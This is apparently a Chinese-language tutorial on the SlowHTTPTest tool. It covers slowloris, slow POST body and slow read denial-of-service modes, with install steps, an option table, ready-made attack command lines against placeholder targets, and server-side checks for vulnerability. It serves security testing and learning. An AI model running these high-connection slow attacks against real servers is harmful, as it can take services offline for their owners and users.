slowhttptest慢速攻擊工具使用詳解

參考文章

本片文章僅供學習使用,切勿觸犯法律!


一、簡要介紹

SlowHTTPTest是一款對伺服器進行慢攻擊的測試軟體,所謂的慢攻擊就是相對於cc或者DDoS的快而言的,並不是只有量大速度快才能把伺服器搞掛,使用慢攻擊有時候也能到達同一效果。slowhttptest包含了之前幾種慢攻擊的攻擊方式,包括slowloris, Slow HTTP POST, Slow Read attack等。那麼這些慢攻擊工具的原理就是想辦法讓伺服器等待,當伺服器在保持連接等待時,自然就消耗了資源。

二、下載安裝

Kali Linux:

apt-get install slowhttptest 

其他Linux發行版:

tar -xzvf slowhttptest-x.x.tar.gz
cd slowhttptest-x.x
./configure --prefix=PREFIX
make
sudo make install

PREFIX替換為應該安裝slowhttptest工具的絕對路徑。
需要安裝libssl-dev才能成功編譯該工具。

MacOS安裝命令:

brew update && brew install slowhttptest

git安裝:

git clone //github.com/shekyan/slowhttptest

三、執行使用

默認參數測試
./slowhttptest
其回應的相關參數:

test type 測試類型
number of connections 連接數
URL 網址
verb 動詞
interval between follow up data 隨機數據之間的間隔
connections per second 每秒連接數
test duration 測試時間
probe connection timeout 探針連接超時
max length of followup data field 後續數據欄位的最大長度

1、參數說明

選項 描述
-a 開始 用於範圍標頭測試的range-specifier的起始值
-b 位元組 範圍標題測試的範圍說明符限制
-c 連接數 限於65539
-d 代理主機:埠 通過Web代理定向所有流量
-e 代理主機:埠 用於僅通過Web代理定向探測流量
-H,B,R或X 指定在標頭部分或消息正文中放慢速度,-R啟用範圍測試,-X啟用慢速讀取測試
-f 內容類型 內容類型標頭的值
-g 生成CSV和HTML格式的統計資訊,格式為slow_xxx.csv / html,其中xxx是時間和日期
-i 秒 每個連接的後續數據之間的間隔(以秒為單位)
-j cookie Cookie標頭的值(例如:-j「 user_id = 1001;超時= 9000」)
-k 流水線係數 如果伺服器支援HTTP管道,則在同一連接中重複請求以進行慢速讀取測試的次數。
-l 秒 測試持續時間(以秒為單位)
-m 接受 Accept標頭的值
-n 秒 從接收緩衝區讀取操作之間的間隔
-o 文件 訂製輸出文件的路徑和/或名稱,如果指定了-g,則有效
-p 秒 等待探針連接上的HTTP響應超時,此後伺服器被視為不可訪問
每秒-r個連接 連接率
-s 位元組 如果指定了-B,則Content-Length標頭的值
-t 動詞 要使用的自定義動詞
-u URL 目標URL,與您在瀏覽器中鍵入的格式相同,例如http s:// host [:port] /
-v 級 日誌0-4的詳細級別
-w 位元組 範圍的開始,將從中選擇廣告窗口大小
-x 位元組 隨訪數據的最大長度
-y 位元組 範圍的末端,將從中選擇廣告窗口大小
-z 位元組 通過單個read()操作從接收緩衝區讀取的位元組

2、功能命令

slowloris模式:

slowhttptest -c 1000 -H -i 10 -r 200 -t GET -u //yourtarget.com/index.html -x 24 -p 3

Slow Body攻擊:
慢消息正文模式下的用法示例

slowhttptest -c 1000 -B -g -o my_body_stats -i 110 -r 200 -s 8192 -t FAKEVERB -u //www.mywebsite.com -x 10 -p 3

Slow Read模式:

slowhttptest -c 1000 -X -r 1000 -w 10 -y 20 -n 5 -z 32 -u //yourtarget.co

慢節奏模式下的用法示例:

./slowhttptest -c 1000 -H -g -o my_header_stats -i 10 -r 200 -t GET -u //myseceureserver/resources/index.html -x 24 -p 3

通過在xxxx:8080上的代理進行探測:

./slowhttptest -c 1000 -X -r 1000 -w 10 -y 20 -n 5 -z 32 -u //someserver/somebigresource -p 5 -l 350 -e x.x.x.x:8080

3、錯誤資訊

錯誤資訊 這是什麼意思
“Hit test time limit” 程式達到了用-l參數指定的時間限制
“No open connections left” 同行關閉了所有連接
“Cannot establish connection” 在測試的前N秒內未建立任何連接,其中N是-i參數的值,或者是10(如果未指定)。如果沒有到主機的路由或遠程對等體斷開,則會發生這種情況
“Connection refused” 遠程對等方不接受指定埠上的連接(僅來自您?使用代理進行探測)
“Cancelled by user” 您按了Ctrl-C或以其他方式發送了SIGINT
“Unexpected error” 永遠不會發生

3、判斷依據

  1. 當伺服器可控,可以通過以下命令來確認是否存在該漏洞:
pgrep http | wc -l  進程數量
netstat -antp | grep 443 | wc -l  網路連接數量
  1. 在攻擊的時間段,服務無法正常訪問則存在漏洞。